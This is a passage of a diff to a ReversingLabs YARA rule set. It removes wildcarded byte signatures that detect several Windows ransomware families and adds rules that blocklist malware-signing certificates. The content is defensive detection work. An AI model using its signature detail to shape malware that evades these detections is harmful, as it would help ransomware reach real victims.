?? FF 93 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 45 ?? 8D 7D ?? 8D 75 ?? 8D 55 - ?? 52 56 57 FF 75 ?? FF 93 ?? ?? ?? ?? 8B 45 ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D - 45 ?? 6A ?? 50 FF 75 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - FF 75 ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 - ?? FF 75 ?? E8 ?? ?? ?? ?? 8D 7D ?? 8D B5 ?? ?? ?? ?? FF 75 ?? 57 FF 75 ?? 6A ?? 6A - ?? 6A ?? FF 36 FF 93 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? - ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 45 ?? 8D 45 ?? 6A ?? 50 FF 75 ?? - FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 85 C0 74 ?? 8D 7D ?? 8D 75 ?? 8D 55 ?? 52 56 57 - FF 75 ?? FF 93 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D B3 ?? - ?? ?? ?? FF 06 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 93 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 50 FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 6A ?? 50 FF 93 ?? ?? ?? ?? - 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2 - } - $enum_files_1 = { - 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B E8 ?? - ?? ?? ?? 8D 7D ?? 6A ?? FF 75 ?? 57 FF 93 ?? ?? ?? ?? 8D 7D ?? 57 FF 93 ?? ?? ?? ?? - 83 F8 ?? 74 ?? EB ?? 8D 75 ?? 56 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2 - } - $enum_files_2 = { - 55 89 E5 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? - 66 C7 45 ?? ?? ?? C6 45 ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5B 83 7D ?? ?? 0F 84 - ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 C0 ?? 89 45 ?? 40 50 6A ?? FF 93 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 89 45 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8D 75 ?? 56 - FF 75 ?? FF 93 ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 75 ?? FF 93 ?? ?? ?? ?? 83 F8 ?? - 0F 84 ?? ?? ?? ?? 89 45 ?? 6A ?? FF 93 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 8D 55 ?? 8D B5 - ?? ?? ?? ?? 52 56 FF 93 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 55 ?? 8D B5 ?? ?? ?? ?? 52 - 56 FF 93 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? FF 93 ?? ?? ?? ?? 40 89 45 ?? 8D BD - ?? ?? ?? ?? 57 FF 93 ?? ?? ?? ?? 03 45 ?? 89 45 ?? 40 50 6A ?? FF 93 ?? ?? ?? ?? 85 - C0 0F 84 ?? ?? ?? ?? 89 45 ?? FF 75 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8D 75 ?? 56 FF 75 - ?? FF 93 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 56 FF 75 ?? FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? A9 ?? ?? ?? ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? FF 75 ?? E8 ?? ?? ?? ?? - EB ?? 8D B5 ?? ?? ?? ?? FF 75 ?? 56 FF 75 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 - ?? FF 93 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 57 FF 75 ?? FF 93 ?? ?? - ?? ?? 85 C0 74 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF - 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ?? FF 93 ?? ?? ?? ?? 83 7D ?? ?? 74 - ?? FF 75 ?? FF 93 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? C9 C2 - } - condition: - uint16( 0 ) == 0x5A4D and $enum_files_1 and $enum_files_2 and $crypto_file and $crypt_file and $remote_connection + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GAS Avto, d.o.o." and ( pe.signatures [ i ] . serial == "00:b0:6b:c1:66:fc:76:5d:ac:d2:f7:44:8c:8c:dd:92:05" or pe.signatures [ i ] . serial == "b0:6b:c1:66:fc:76:5d:ac:d2:f7:44:8c:8c:dd:92:05" ) and 1615507200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Paradise : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_E9268Ed63A7D7E9Dfd40A664Ddfbaf18 : INFO FILE { meta: - description = "Yara rule that detects Paradise ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9a92a05c-5f26-59ed-9934-a24bb7c31d8d" - date = "2020-06-26" - modified = "2020-07-15" + id = "a93b0a98-cfec-5e32-9fd8-b3d6c4353558" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Paradise.yara#L1-L81" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12198-L12216" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fc029bee999ec72416ac91d8386d4d270070035ad078bcab1dec11eea032c10b" + logic_hash = "fc840c0b37867c3b0aa80d4dc609feaaab77d3f0c6f84c8bb2ea7c5a6461ebb8" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Paradise" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_files = { - 53 56 57 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 89 75 ?? 85 F6 - 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 53 56 FF - D7 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? - ?? ?? 83 65 ?? ?? 8B 45 ?? 8B 74 85 ?? 8D 95 ?? ?? ?? ?? 85 F6 74 ?? 0F B7 02 83 F8 - ?? 72 ?? 8D 48 ?? 83 F8 ?? 76 ?? 8B C8 0F B7 06 83 F8 ?? 72 ?? 83 F8 ?? 77 ?? 83 C0 - ?? 3B C8 0F B7 02 75 ?? 66 85 C0 74 ?? 83 C2 ?? 83 C6 ?? EB ?? 0F B7 02 EB ?? 66 3B - 06 1B C0 83 E0 ?? 40 EB ?? 33 C0 85 C0 0F 84 ?? ?? ?? ?? FF 45 ?? 83 7D ?? ?? 72 ?? - 8B 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 56 FF D7 83 C4 ?? F6 85 ?? - ?? ?? ?? ?? 74 ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 80 3D ?? ?? ?? ?? ?? 74 ?? BA - ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? EB ?? F6 85 ?? ?? ?? - ?? ?? 74 ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 85 C0 75 ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? - ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? 68 - ?? ?? ?? ?? 53 FF 75 ?? FF D7 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 FF 75 ?? FF 15 ?? - ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5F 5E 5B C9 C3 - } - $encrypt_files_p1 = { - 56 57 6A ?? BE ?? ?? ?? ?? 5F E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 8D 45 ?? 50 56 E8 ?? ?? - ?? ?? 83 C4 ?? 83 C6 ?? 4F 75 ?? 33 F6 39 75 ?? 74 ?? 8D 45 ?? 50 A1 ?? ?? ?? ?? 0F - B7 88 ?? ?? ?? ?? 56 56 51 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 59 89 4D - ?? 33 C0 8A 90 ?? ?? ?? ?? 88 90 ?? ?? ?? ?? 3B C6 75 ?? 33 C0 40 3B C1 72 ?? 68 ?? - ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 5F 5E C9 C3 56 FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 - } - $encrypt_files_p2 = { - 53 56 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 33 DB - 53 53 8D 44 24 ?? 50 89 5C 24 ?? FF D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 53 53 8D 44 - 24 ?? 50 FF D6 85 C0 75 ?? 89 5C 24 ?? 39 5C 24 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? A1 ?? - ?? ?? ?? 0F B6 80 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF - 74 24 ?? E8 ?? ?? ?? ?? 59 53 FF 74 24 ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 53 53 - 53 53 C6 05 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 88 1D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 59 33 C0 88 98 ?? ?? ?? ?? 3B C3 75 ?? 33 C0 40 83 F8 ?? 72 ?? 6A ?? 5E - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 - ?? 6A ?? 53 53 8D 44 24 ?? 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 4E 75 ?? 8B 3D ?? - ?? ?? ?? 81 C7 ?? ?? ?? ?? 6A ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 C0 75 ?? 57 E8 - ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 - } - $http_remote_connection = { - 53 56 57 FF 75 ?? 33 FF 8D 75 ?? 89 7D ?? E8 ?? ?? ?? ?? 59 89 7D ?? 57 57 57 FF 75 - ?? 57 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 57 57 6A ?? 57 57 FF 75 ?? - FF 75 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 33 C9 80 7D ?? ?? 57 - 0F 95 C1 B8 ?? ?? ?? ?? 49 23 C8 03 C8 51 57 57 57 FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 8B D8 3B DF 74 ?? 57 57 57 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 - F6 57 57 8D 45 ?? 50 53 89 7D ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 C6 3B C7 - 75 ?? 89 7D ?? EB ?? 50 39 7D ?? 75 ?? E8 ?? ?? ?? ?? 59 EB ?? FF 75 ?? 6A ?? FF 15 - ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 75 ?? 8B 45 ?? 03 C6 50 53 - FF 15 ?? ?? ?? ?? 03 75 ?? 39 7D ?? 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? - ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 39 7D ?? 75 ?? 33 C0 40 39 45 ?? 74 ?? 89 45 ?? E9 - ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 5F 5E 5B - C9 C3 - } - condition: - uint16( 0 ) == 0x5A4D and $search_files and $http_remote_connection and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Casta, s.r.o." and ( pe.signatures [ i ] . serial == "00:e9:26:8e:d6:3a:7d:7e:9d:fd:40:a6:64:dd:fb:af:18" or pe.signatures [ i ] . serial == "e9:26:8e:d6:3a:7d:7e:9d:fd:40:a6:64:dd:fb:af:18" ) and 1647302400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Wsir : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_425Dc3E0Ca8Bcdce19D00D87E3F0Ba28 : INFO FILE { meta: - description = "Yara rule that detects WsIR ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cb4ab736-9421-5b92-b4a5-c5db0b61725a" - date = "2022-08-02" - modified = "2022-08-02" + id = "df6e1403-c300-5d97-b57d-dc70d61b2229" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.WsIR.yara#L1-L73" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12218-L12234" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c22c01f93945c7721ebfe5e7a09c3bf2b9d0ad95740bc0a76b4e61741f61d82c" + logic_hash = "67a975f2806825bf0da27fcaf33c2ff497fe9bb2af12c22ff505b49070516960" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "WsIR" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 53 - 55 8B E9 8D 4C 24 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? C7 84 24 ?? ?? ?? ?? ?? - ?? ?? ?? 8B 41 ?? 85 C0 74 ?? 8D 54 24 ?? 6A ?? 52 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 00 - 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 85 C0 0F 95 C3 E8 ?? ?? ?? ?? - 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 - ?? ?? ?? ?? 8B 4C 24 ?? 8D 44 24 ?? 50 51 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 75 - ?? 8D 4C 24 ?? 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 8B B4 24 ?? ?? - ?? ?? 57 8B 3D ?? ?? ?? ?? BB ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 8D 54 24 ?? 68 ?? ?? - ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 45 ?? 8D 54 24 ?? 52 6A ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 50 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? 89 4C 24 ?? 89 5C 24 ?? FF D7 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? - ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 56 6A ?? 68 - ?? ?? ?? ?? 51 FF D7 8D 4C 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F - 5E 8B 8C 24 ?? ?? ?? ?? 5D 5B 64 89 0D ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 - } - $encrypt_files = { - FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? - ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? - ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 - C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B - 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? - 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 - ?? 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? - E9 - } - $exec_proc = { - 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 1D ?? ?? - ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF D3 8D 4C 24 ?? 8D 54 24 ?? 51 52 68 ?? ?? ?? - ?? 8B CF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? 8D 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B - F0 83 C4 ?? 85 F6 75 ?? 8D 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8D 74 04 ?? EB ?? 8D 57 ?? - 8D 4C 24 ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 4C 24 - ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 EB ?? C6 06 ?? 68 ?? ?? ?? - ?? 56 FF D3 8B 44 24 ?? 50 56 FF D3 8D 4C 24 ?? 55 51 FF 15 ?? ?? ?? ?? 8B F0 33 D2 - 83 FE ?? 0F 9F C2 8D 4C 24 ?? 8B F2 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? - 5D 8B C6 5B 8B 8C 24 ?? ?? ?? ?? 5F 5E 64 89 0D ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C2 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Protover LLC" and pe.signatures [ i ] . serial == "42:5d:c3:e0:ca:8b:cd:ce:19:d0:0d:87:e3:f0:ba:28" and 1621900800 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_Afc0Ddb7Bdc8207E8C3B7204018Eecd3 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "73f4d6e2-6924-59fa-8ec1-305f2d5dc5a3" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12236-L12254" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "302e2d6b31ca5c2c33c4ec7294630fd88a9c40f70ddecdc606ccff27b24e1cd4" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $exec_proc ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE9\\x83\\xB4\\xE5\\xB7\\x9E\\xE8\\x9C\\x97\\xE7\\x89\\x9B\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and ( pe.signatures [ i ] . serial == "00:af:c0:dd:b7:bd:c8:20:7e:8c:3b:72:04:01:8e:ec:d3" or pe.signatures [ i ] . serial == "af:c0:dd:b7:bd:c8:20:7e:8c:3b:72:04:01:8e:ec:d3" ) and 1629676800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Plague17 : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_38989Ec61Ecdb7391Ff5647F7D58Ad18 : INFO FILE { meta: - description = "Yara rule that detects Plague17 ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "065c47b5-f459-529e-8046-7394a742b50a" - date = "2021-02-19" - modified = "2021-02-19" + id = "1841bbd1-4c7a-5b89-8c63-58d8a3ae1cef" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Plague17.yara#L1-L263" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12256-L12272" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e0e518fc83a62d70b83df273c6ba469e6f0fdf9c035126428ec7561e04437b6f" + logic_hash = "1795812d4daa458b157280cac7a9b13e9b67a2d78eac077691bbce2bf8aeec34" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Plague17" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 55 89 E5 57 56 8D 85 ?? ?? ?? ?? 53 81 EC ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 31 C0 66 89 - 85 ?? ?? ?? ?? 8B 45 ?? 89 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 50 ?? 8B - 00 66 83 7C 50 ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? BA ?? ?? ?? - ?? 2B 51 ?? 39 D0 0F 87 ?? ?? ?? ?? 8B 4D ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 45 ?? 8B 7D ?? 83 EC ?? 8B 00 8B 57 ?? 8D 8D ?? ?? ?? ?? 8D 14 50 C6 44 - 24 ?? ?? 89 04 24 89 8D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 54 24 ?? E8 ?? ?? ?? ?? 83 - EC ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 39 D0 0F - 87 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 44 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 83 EC ?? 39 F8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 7D ?? 8D - } - $find_files_p2 = { - 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 89 D9 8B 00 C6 44 24 ?? ?? 8B 57 ?? 89 B5 ?? ?? ?? - ?? 89 04 24 8D 14 50 89 54 24 ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 EC ?? 89 1C 24 - E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 39 F0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 89 5C 24 ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 89 C6 0F 84 ?? - ?? ?? ?? 8D BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74 - ?? C7 44 24 ?? ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? F6 85 ?? ?? - ?? ?? ?? 89 7C 24 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 0F 85 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? 83 EC ?? 39 C8 74 ?? 89 04 24 E8 ?? ?? ?? ?? EB ?? C7 44 24 ?? - ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? 89 5C 24 ?? 89 34 24 FF 15 ?? ?? ?? - ?? 83 EC ?? 85 C0 75 ?? 89 34 24 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 9D ?? ?? ?? - ?? 83 EC ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C2 ?? ?? 8D 76 - ?? 